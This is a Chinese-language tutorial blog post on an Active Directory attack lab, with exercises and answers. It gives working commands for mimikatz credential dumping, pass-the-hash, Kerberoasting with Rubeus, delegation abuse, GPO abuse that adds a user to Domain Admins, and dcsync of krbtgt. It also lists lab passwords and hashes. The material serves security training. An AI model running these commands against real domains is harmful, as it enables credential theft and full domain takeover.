Active-Directory-Security-101

VSole2021-07-19 23:10:15

环境搭建

https://github.com/cfalta/adsec/tree/main/lab-setup

  • DC2019-Windows 2019
  • user1-Windows 2019
  • user2-Windows 2019

配置域控

新增一个网卡,三个虚拟机使用这个网卡

设定指定ip

我是直接复制虚拟机,需要更改mac地址和sid。

还要更改sid

可以使用系统内置的工具sysprep或者另外一个newsid

工具https://newsid.softag.com/download

在三台机器上以管理员权限执行以下命令。

  • 关闭防火墙
Set
-
NetFirewallProfile
 
-
Profile
 
Domain
,
Public
,
Private
 
-
Enabled
 
False
  • 关闭Windows Defender
Uninstall
-
WindowsFeature
 
-
Name
 
Windows
-
Defender

下载自动化脚本辅助安装

https://github.com/cfalta/adsec/tree/main/lab-setup/domain-setup-scripts

运行createdomain脚本,自行修改里面的域名称。

这里应该不能一步完成

先执行

Install
-
WindowsFeature
 
-
Name
 AD
-
Domain
-
Services
 
-
IncludeManagementTools

重启后再继续执行。

重启后执行这个文件

功能就是根据json文件去自动添加用户和组等等。

配置域内机器

在两台成员机器上使用以下两个域账号注册

John DoejohnP@ssw0rdBruce LeebleeTekkenIsAwesome!

user1这台用john认证

user2机器用blee登录

攻击机器准备

用john登录user1这台机器,当做入口点,再分配一张网卡,让他出网。

默认工具包下载地址

https://github.com/cfalta/adsec/blob/main/exercises/attacker-tools

bloodhound安装及配置

谷歌一下

信息收集

导入powerview模块

cd C
:
\attacker
-
tools
cat 
-
raw 
".\PowerView.ps1"
 
|
 iex

获取当前域的基本信息和域控位置

Get
-
Domain
Get
-
DomainController

查看有多少电脑和域内用户

Get
-
DomainComputer
Get
-
DomainUser

过滤出域管出来

Get
-
DomainUser
 
|
 
?
 
{
$_
.
memberof 
-
like 
"*Domain Admins*"
}
Get
-
DomainUser
 
|
 
?
 
{
$_
.
memberof 
-
like 
"*Domain Admins*"
}
 
|
 select samaccountname

课后习题

参考答案我会放在最后面哦

  1. 域中有多少台计算机以及它们在什么操作系统上运行?
  2. 域中有多少用户?编写一个 powershell 语句进行查询,以表格形式列出所有用户,仅显示属性 samaccountname、displayname、description 和最后一次密码更改的时间。
  3. 您能识别出哪些自定义的管理员组?以通用方式更改上面的 powershell 查询,使其仅返回自定义管理组。
  4. 找到对应管理员组的成员,这些用户上一次设置密码是什么时候?
  5. 有快速识别出域中服务帐户的简单方法吗?编写一个 powershell 查询,列出所有服务帐户。

NTLM的利用

  • mimikatz
  • psexec

需要管理员权限,使用本地administrator用户登录

privilege
::
debug
token
::
elevate
lsadump
::
sam

获得到管理员hash

7dfa0531d73101ca080c7379a9bff1c7

pth攻击

sekurlsa
::
pth 
/
user
:
Administrator
 
/
ntlm
:
7dfa0531d73101ca080c7379a9bff1c7
 
/
domain
:
wing
.
lab

psexec
.
exe \\user2 cmd

课后习题

  1. mimikatz 执行"privilege::debug"和"token::elevate"的目的是什么?为什么需要执行它们?
  2. 以 Bruce Lee 的身份登录 user1。使用您在上面学到的知识帮助 john 从内存中远程提取 Bruce Lee的 NTLM 哈希。
  3. 如何尽可能的缓解PTH攻击,请讲清楚原因。
  4. 是否有可能(并且可行)完全禁用 NTLM?解释你的理由。

Kerberos-Roasting

预习资料域渗透——AS-REP Roasting

加载插件

cd C
:
\attacker
-
tools
cat 
-
raw 
.
\PowerView
.
ps1 
|
 iex
cat 
-
raw 
.
\Invoke
-
Rubeus
.
ps1 
|
 iex

查询SPN,获得服务用户

Get
-
DomainUser
 
-
SPN 
|
 select samaccountname
,
 description
,
 pwdlastset
,
 serviceprincipalname

Rubeus有一个统计kerberos数据的功能

Invoke
-
Rubeus
 
-
Command
 
"kerberoast /stats"

获取目标账户的TGS

Invoke
-
Rubeus
 
-
Command
 
"kerberoast /user:taskservice /format:hashcat /outfile:krb5tgs.txt"

这里的脚本是base64之后通过powershell内存加载

function
 
Invoke
-
Rubeus
([
string
]
$Command
)
{
$Message
=
"base64"
;
$Assembly 
=
 
[
System
.
Reflection
.
Assembly
]::
Load
([
Convert
]::
FromBase64String
(
$Message
))
[
Rubeus
.
Program
]::
Main
(
$Command
.
Split
(
" "
))
}

破解TGS

.
\john
.
exe 
..
\.
.
\krb5tgs
.
txt 
--
wordlist
=..
\.
.
\example
.
dict 
--
rules
=
passphrase
-
rule2

课后习题

  1. 研究如何最好地减轻 kerberoasting 攻击。描述一下您认为最好的缓解技术,并解释其原因。
  2. 还有一个用户会受到ASREP roasting影响,请找出来。
  3. 解释一下TGS vs. ASREP roasting

Kerberos (Delegation)

之前设置的时候没改json里面的数据,要把domain改了

找到委派用户

Get
-
DomainUser
 
-
TrustedToAuth

查看委派的目标

Get
-
DomainUser
 
-
TrustedToAuth
 
|
 select 
-
ExpandProperty
 msds
-
allowedtodelegateto

执行这个攻击的条件就是要知道用户的密码才行

生成hash

Invoke
-
Rubeus
 
-
Command
 
"hash /password:Amsterdam2015 /domain:wing.lab /user:service1"

Rubeus允许我们在新的登录会话中启动powershell。这意味着我们伪造的票证只存在于这个登录会话中,不会干扰用户john已经存在的kerboers票证。

使用s4u请求一个TGS模拟域管理用户Bruce(bwillis)攻击user1。

我们请求3个不同服务的票证

CIFS将用于SMB访问

HOST/RPCSS用于WMI

Invoke
-
Rubeus
 
-
Command
 
"s4u /user:service1 /aes256:BE09389D798B17683B105FF6432BA4FD4785DA5A08BFD3F39328A6525433E073 /impersonateuser:bwillis /msdsspn:cifs/user1.wing.lab /ptt"
Invoke
-
Rubeus
 
-
Command
 
"s4u /user:service1 /aes256:BE09389D798B17683B105FF6432BA4FD4785DA5A08BFD3F39328A6525433E073  /impersonateuser:bwillis /msdsspn:host/user1.wing.lab /ptt"
Invoke
-
Rubeus
 
-
Command
 
"s4u /user:service1 /aes256:BE09389D798B17683B105FF6432BA4FD4785DA5A08BFD3F39328A6525433E073 /impersonateuser:bwillis /msdsspn:rpcss/user1.wing.lab /ptt"

查看缓存的票据

前面我设置错了,委派的目标应该设置成user2,user1是自己,不过意思都一样。

 ls \\user1
.
wing
.
lab\C$

通过wmi控制user1

Get
-
WmiObject
 
-
Class
 win32_process 
-
ComputerName
 adsec
-
01.contoso
.
com

课后习题

  1. 在上面的练习中,您通过SMB和WMI获得了对服务器user的读取权限。现在试着通过这两个协议来执行代码。目标是执行以下命令,将用户john添加到本地管理组
  2. 尝试模拟域管理员用户Chuck Norris而不是“Bruce Willis。有什么作用

ACL攻击

信息收集

cat 
-
raw 
.
\SharpHound
.
ps1 
|
 iex
Invoke
-
Bloodhound
 
-
CollectionMethod
 
DcOnly
 
-
Stealth
 
-
PrettyJson
 
-
NoSaveCache
  • CollectionMethod DcOnly表示仅从域控收集数据。从opsec的角度来看,这样比较好,因为是正常流量。
  • Stealth单线程启动。速度较慢,但安全。
  • PrettyJson 格式化.json文件。
  • NoSaveCache 不保存缓存文件。


启动血犬

下载社区版的neo4j

https://neo4j.com/download-center/#releases

❯
 jdk11
❯
 
./
neo4j start

先把service1标记为已沦陷

点击这里

这里显示用户对域控的组策略有写入权限,通过组策略利用,攻击DC

需要先以service1的身份登录

runas 
/
user
:
wing
.
lab\service1 powershell
.
\SharpGPOAbuse
.
exe 
--
AddComputerTask
 
--
TaskName
 
"Update"
 
--
Author
 contoso\adminuser 
--
Command
 
"cmd.exe"
 
--
Arguments
 
'/c net group \"Domain Admins\" john /ADD'
 
--
GPOName
 
"Default Domain Controllers Policy"
 
--
force

写入完成以后,需要等管理员更新组策略才会触发。

手工弄一下。

提权成功

成功登录到域控

课后习题

  • acl攻击有哪些利用工具?

权限维持

权限维持的东西比较多

  • 金银票据
  • Mimikatz后门
  • 等等等等


一般拿到DC权限就先执行

lsadump
::
dcsync 
/
user
:
krbtgt

拿到所有用户hash,也可以作为后门。

课后习题

  • 自主学习这些权限维持方法的原理。

参考答案

我做的不一定对,有错误请留言。

信息收集

powerview3.0 tricks

https://gist.github.com/HarmJ0y/184f9822b195c52dd50c379ed3117993

  1. 域中有多少台计算机以及它们在什么操作系统上运行?

  1. 域中有多少用户?编写一个 powershell 语句进行查询,以表格形式列出所有用户,仅显示属性 samaccountname、displayname、description 和最后一次密码更改的时间。

  1. 您能识别出哪些自定义的管理员组?以通用方式更改上面的 powershell 查询,使其仅返回自定义管理组。
Get
-
DomainGroupMember
 
-
Identity
 
"Domain Admins"
 
-
Recurse

  1. 找到对应管理员组的成员,这些用户上一次设置密码是什么时候?

  1. 有快速识别出域中服务帐户的简单方法吗?编写一个 powershell 查询,列出所有服务帐户。
 
Get
-
DomainUser
 
-
SPN
|
select serviceprincipalname
,
userprincipalname
,
pwdlastset
,
lastlogon

NTLM

猕猴桃命令大全

  1. mimikatz 执行"privilege::debug"和"token::elevate"的目的是什么?为什么需要执行它们?
privilege
::
debug 
-
 
提升为管理员权限
token
::
elevate 
-
 
伪造令牌,获得
system
权限或发现其他用户的令牌
  1. 以 Bruce Lee 的身份登录 user1。使用您在上面学到的知识帮助 john 从内存中远程提取 Bruce Lee的 NTLM 哈希。
lsadump
::
dcsync 
/
domain
:
wing
.
lab 
/
user
:
bruce
dump
所有数据
lsadump
::
dcsync 
/
domain
:
wing
.
lab 
/
all 
/
csv
  1. 如何尽可能的缓解PTH攻击,请讲清楚原因。
  • 打上补丁kb2871997并且禁用SID=500的管理员用户
  • 监控日志
  1. 是否有可能(并且可行)完全禁用 NTLM?解释你的理由。
  • 审查收到的NTLM流量:启用对所有帐户的审查
  • 仅发送NTLMv2响应。拒绝LM&NTLM

第四点我不太确定。

Kerberos (Roasting)

  1. 研究如何最好地减轻 kerberoasting 攻击。描述一下您认为最好的缓解技术,并解释其原因。
  • 禁止用户开启 DonotrequireKerberospreauthentication
  • 禁止弱口令
  1. 还有一个用户会受到ASREP roasting影响,请找出来。

Get-DomainUser -PreauthNotRequired -Verbose

  1. 解释一下TGS vs. ASREP roasting

https://www.4hou.com/posts/YVyM

Kerberos (Delegation)

  1. 在上面的练习中,您通过SMB和WMI获得了对服务器user的读取权限。现在试着通过这两个协议来执行代码。目标是执行以下命令,将用户john添加到本地管理组:
  • psexec
wmic 
/
node
:
user1 process call create 
"cmd.exe /c net localgroup Administrators john /add"
  1. 尝试模拟域管理员用户Chuck Norris而不是“Bruce Willis。有什么作用?

可以攻击域控

ACL

acl攻击有哪些利用工具?

  • github.com

权限维持

  • 自主学习这些权限维持的原理。
domain
本作品采用《CC 协议》,转载必须注明作者和本文链接
近日,360漏洞云监测该CVE-2022-26923漏洞的细节及PoC已在互联网公开。当Active Directory证书服务在域上运行时,经过身份验证的攻击者可以在证书请求中包含特制的数据。
功能domainscan调用 subfinder 被动收集,调用 ksubdoamin 进行 dns 验证泛解析、CDN 判断获取 domain 相关的 web(host:port)资产,使用 webscan 扫描webscan支持 http/https scheme 自动判断获取 statusCode、contentLength、favicon、iconHash、title、wappalyzer
网络扫描:探测域名
2021-07-28 11:12:21
Ping扫描,域名解析,反向DNS查询,子域名枚举。
2022年3月,谷歌宣布Google Domains正式上线,并提供了大量新的顶级域名供注册。2023年5月底,Google Domains又开放了一批新的顶级域名,包括ZIP和DAD等。然而,令人意外的是,今天企业品牌平台Squarespace宣布已经与谷歌达成收购协议,将收购Google Domains。
CS 域前置+流量混淆
2021-10-14 06:58:22
域前置(Domain Fronting)被称为域前端网络攻击技术,是一种隐藏连接真实端点来规避互联网审查的技术。这种技术被安全人员多用来隐藏 Metasploit,Cobalt Strike 等团队控制服务器流量, 以此来一定程度绕过检查器或防火墙检测的技术,国内外如:Amazon ,Google,Akamai 等大型厂商都会提供一些域前端技术服务。
显然不能将所有信息都储存在一台域名服务器中。根域名服务器是最高层次的域名服务器。因特网上共有13个不同IP地址的根域名服务器。因此权限域名服务器知道其管辖的域名与IP地址的映射关系。当一个主机发出DNS请求报文时,这个报文就首先被送往该主机的本地域名服务器。
域密码喷洒实现
2021-12-30 06:49:03
域密码喷洒实现
一款IP渗透小工具
2023-05-15 09:07:02
MoreFind一款用于快速导出URL、Domain和IP的小工具快速安装方式一: 通过Go包管理安装。MoreFind is a very fast script for searching URL、Domain and Ip from specified stream. Available Commands: completion Generate the autocompletion script for the specified shell help Help about any command version Print the semantic version number of MoreFind. 1)导出URLMoreFind -u# append --filter or --filter="png,jpg,xls,custom..."# 通过添加参数 --filter 或者 通过 --filter="png,jpg" 自定义需要排除的后缀MoreFind -u --filter="png". 3)导出ip# 默认会搜索全部ipv4地址MoreFind -i# 加上--exclude 排除属于内网的ip, 存在bug,比如localhost, 127.0.0.1 这些回环ip没排除MoreFind -i --exclude
通过主机名,最终得到该主机名对应的IP地址的过程叫做域名解析。地址1.3 DNS 的功能每个 IP 地址都可以有一个主机名,主机名由一个或多个字符串组成,字符串之间用小数点隔开。主机名到 IP 地址映射的两种方式静态映射/etc/hosts文件在每台设备上都有主机到IP的映射关系,只供此设备使用动态映射/etc/resolv.conf文件指通过DNS服务器配置主机到IP的映射关系#?
0X01字典制作篇 tesla.cn为例子 在线子域名查询 (https://phpinfo.me/domain
VSole
网络安全专家